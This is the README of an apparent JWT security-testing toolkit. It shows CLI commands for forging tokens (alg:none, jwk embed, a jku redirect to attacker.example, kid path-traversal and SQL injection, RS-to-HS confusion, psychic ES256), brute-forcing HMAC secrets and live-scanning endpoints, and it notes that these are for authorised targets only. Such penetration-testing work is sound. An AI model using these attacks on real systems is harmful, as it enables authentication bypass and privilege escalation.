l0lsec/jwtMod
GitHub: l0lsec/jwtMod
jwtMod 是一个集 JWT 声明编辑、伪造签名、多种攻击向量测试、HMAC 密钥爆破及实时目标扫描于一体的 Python 安全测试工具包。
Stars: 0 | Forks: 0
# jwtmod
一个小巧的 JWT 安全测试工具包。以 Python CLI 和本地 Flask
Web UI 的形式提供,通过 WebCrypto 在您的浏览器中完全执行攻击。
## 工具包含内容
- **声明编辑** — `--set`, `--remove`, `--merge-json`, 点路径, JSON
值强制转换, 以及命名预设 (`expire`, `extend-exp=N`, `perma`,
`clear-time`, `admin`)。
- **真实签名** — HS256/384/512, RS256/384/512, PS256/384/512,
ES256/384/512, `none`。
- **攻击方案** — `alg:none`(包含大小写绕过变体), `jwk` header
embed, `jku` redirect, `kid` injection, RS→HS key-confusion, signature
stripping, ES256 "psychic signature" (r=s=0), duplicate-claim parser
confusion.
- **检查** — `info` (声明摘要 + 警告), 两个 token 之间的 `diff`。
- **暴力破解** — 针对内置约 1k 密钥的字典或自定义字典的 HS* 验证循环。
- **实时目标测试** — 粘贴原始 HTTP 请求, jwtmod 将针对 endpoint 重放整套攻击测试组, 将每个响应
(`vulnerable` / `rejected` / `inconclusive`) 与基线和
broken-signature 控制组进行对比评级。可通过 upstream proxy (Burp) 路由, 并可跳过
TLS 验证。
- **Intruder 列表** — 将伪造 token 测试组以每行一个 JWT 的形式输出, 用于 Burp
Intruder / ffuf / 任何 payload 集合。
- **测试用例参考** — 评估检查清单位于
[`docs/JWT-TEST-CASES.md`](docs/JWT-TEST-CASES.md), 由工具运行的同一
目录生成。
## 安装
```
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
```
非对称算法需要 `cryptography`。Web UI 仅在需要
时才用到 Flask。
## CLI
CLI 使用子命令。旧版的单次执行 `python3 cli.py --set ...`
形式仍然作为 `alg:none` 的别名可用。
### 检查
```
python3 cli.py decode "$JWT"
python3 cli.py info "$JWT"
python3 cli.py diff "$JWT_OLD" "$JWT_NEW"
```
### 修改声明
`modify` 保持原始签名段原样 — 当您想要
编辑 token 然后将其提供给实际上并不检查
签名的验证器时非常有用。
```
python3 cli.py modify "$JWT" --set role=admin --remove exp
python3 cli.py modify "$JWT" --preset admin --preset clear-time
python3 cli.py modify "$JWT" --merge-json '{"scope":"*","aud":["api"]}'
python3 cli.py modify "$JWT" --set user.deleted=false # dotted path
```
预设:
| Preset | Effect |
| --------------------- | ------------------------------------------------------ |
| `expire` | `exp = now - 60` |
| `extend-exp=SECONDS` | 将 `exp` 增加 N 秒(默认 3600) |
| `perma` | `exp = now + 10 years` |
| `clear-time` | 移除 `exp`, `nbf`, `iat` |
| `admin` | 强制设置 `role=admin`, `isAdmin=true`, 以及现有的键 |
`--preset admin:keys=role,isAdmin,groups` 用于限定预设设置的键范围。
### 伪造 token
```
# alg:none,包含经典的 case-bypass 变体:
python3 cli.py forge none "$JWT" --set role=admin
python3 cli.py forge none "$JWT" --alg-literal None
python3 cli.py forge none "$JWT" --alg-literal nOnE --no-trailing-dot
python3 cli.py forge none "$JWT" --keep-header-extras
# 使用任何受支持的 alg 重新签名。`--secret` 接受字面值、@file 或 0xHEX。
python3 cli.py forge sign "$JWT" --alg HS256 --secret hunter2 --set role=admin
python3 cli.py forge sign "$JWT" --alg HS512 --secret @secret.bin
python3 cli.py forge sign "$JWT" --alg RS256 --key priv.pem --kid kid-1
python3 cli.py forge sign "$JWT" --alg ES384 --key ec.pem
```
### 攻击
每个攻击方案都接受相同的 payload 标志 (`--set`, `--remove`,
`--merge-json`, `--preset`) 以及用于机器输出的全局 `--json` 标志。
```
# 1) jwk header embed — 验证器信任 header 中的公共 JWK。
python3 cli.py attack jwk-embed "$JWT" --set role=admin --out-priv attacker.pem
# 2) jku — 验证器在我们控制的 URL 处获取 JWKS。
python3 cli.py attack jku "$JWT" \
--url https://attacker.example/.well-known/jwks.json \
--out-jwks jwks.json --out-priv attacker.pem \
--set role=admin
# 3) kid injection — 路径/SQL payload + 空 secret HS256。
python3 cli.py attack kid "$JWT" --value '../../../../dev/null' --set role=admin
python3 cli.py attack kid "$JWT" --value "' UNION SELECT 'AAAAAAAAAAAAAAAAA'--"
# 4) RS→HS confusion — 使用签发者的公共 PEM 作为密钥进行 HMAC 签名。
python3 cli.py attack rs-to-hs "$JWT" --public-key target_pub.pem --set role=admin
# 5) Strip signature — 空的第三段,可选地重写 alg。
python3 cli.py attack strip-sig "$JWT" --alg-literal none
# 6) Psychic ES256 (CVE-2022-21449 类) — r=s=0。
python3 cli.py attack psychic-es256 "$JWT" --set role=admin
```
### 验证
```
python3 cli.py verify "$JWT" --alg HS256 --secret hunter2 # exits 0/1
python3 cli.py verify "$JWT" --alg RS256 --key issuer_pub.pem
```
### 暴力破解 HS* 密钥
```
# 内置的 top wordlist(约 1k 条目):
python3 cli.py brute "$JWT"
# 自定义 wordlist,上限为 100k 次尝试:
python3 cli.py brute "$JWT" --wordlist big.txt --max 100000
```
### 针对目标的实时扫描
`scan` 读取原始 HTTP 请求(来自 `--request FILE` 或 stdin),找到其中的 JWT,
针对 endpoint 重放攻击测试组,并对每个
响应进行评级。它会发送实时流量 — **仅限已授权目标。**
```
# 通过 Burp 重放,忽略其自签名 cert:
python3 cli.py scan --request captured.txt --proxy http://127.0.0.1:8080 --insecure
# 启用 key-dependent 测试和 privilege-escalation 探测:
python3 cli.py scan --request captured.txt \
--public-key issuer_pub.pem --jku-url https://you.tld/jwks.json --bump-role
# 通过管道传入请求并获取机器可读的输出:
pbpaste | python3 cli.py scan --json
```
判定结果基于基线(原始 token)和阴性对照
(broken signature)进行锚定;如果 endpoint 接受了 broken-signature 对照组,则每次攻击的
结果将报告为 `inconclusive`,而不是具有误导性的“全部脆弱”。
### Intruder token 列表
```
# 每行一个伪造的 JWT — 直接输入到 Burp Intruder / ffuf:
python3 cli.py intruder "$JWT" > tokens.txt
python3 cli.py intruder "$JWT" --bump-role --public-key issuer_pub.pem
# 列出 test-case 目录:
python3 cli.py intruder --list-cases
```
### Stdin 和 JSON 输出
```
echo "$JWT" | python3 cli.py modify --set role=admin
python3 cli.py forge none "$JWT" --json --set role=admin
```
## Web UI
```
python3 web.py # http://127.0.0.1:5000
python3 web.py --port 8000
```
粘贴一个 JWT,编辑 payload,切换选项卡以选择攻击。手动伪造和
验证通过 `SubtleCrypto` 在您的浏览器中本地运行;服务器在
`/api/decode`, `/api/forge`, `/api/sign`,
`/api/verify`, `/api/info`, `/api/diff`, `/api/brute`, 和 `/api/attack/`
下暴露相同的操作,以保持脚本功能的一致性。
**Live target testing** 面板是在服务器端运行的:粘贴原始 HTTP 请求,
点击 **Parse request** 从中提取 JWT,设置 proxy / TLS / role-bump
选项,然后点击 **Run attack scan** 重放测试组并查看评级结果
表,或者点击 **Generate intruder list** 复制/下载伪造的 token。这些功能
依赖于 `/api/parse-request`, `/api/scan`, 和 `/api/intruder` — 其中 `/api/scan`
会向目标发出出站请求,因此请仅在您已获授权的情况下使用。
## 每种攻击能发现什么
| Attack | Verifier bug exercised |
| ------------------ | -------------------------------------------------------------- |
| `alg:none` | 接受 `alg=none`, 或未能规范化 (`None`, `NONE`)。 |
| Strip signature | 当第三段为空时跳过签名检查。 |
| Sign as | 接受攻击者选择的算法。 |
| Embed jwk | 信任 header 中提供的公共 JWK。 |
| jku | 获取 `jku` 中的任何 URL 而不是 allowlist。 |
| kid injection | 读取 `kid` 处的文件并使用其内容进行 HMAC。 |
| RS→HS confusion | 将发布者的公共 PEM 重用为 HMAC 密钥。 |
| Psychic ES256 | 接受 r=s=0 的 ECDSA 签名 (CVE-2022-21449 class)。 |
| Brute force | 弱 HMAC 密钥(默认、演示、字典单词)。 |
## 范围之外
- JWE (encrypted JWT) 未实现 — 独立的规范范畴。
- `jku` 攻击会生成一个 JWKS 文件;将其托管在 URL 上由您自己决定。
- 没有打包 / GUI 捆绑。通过 `python3 cli.py` 和 `python3 web.py` 运行。
标签:Flask, JWT, Maven, Python, 无后门, 漏洞验证, 逆向工具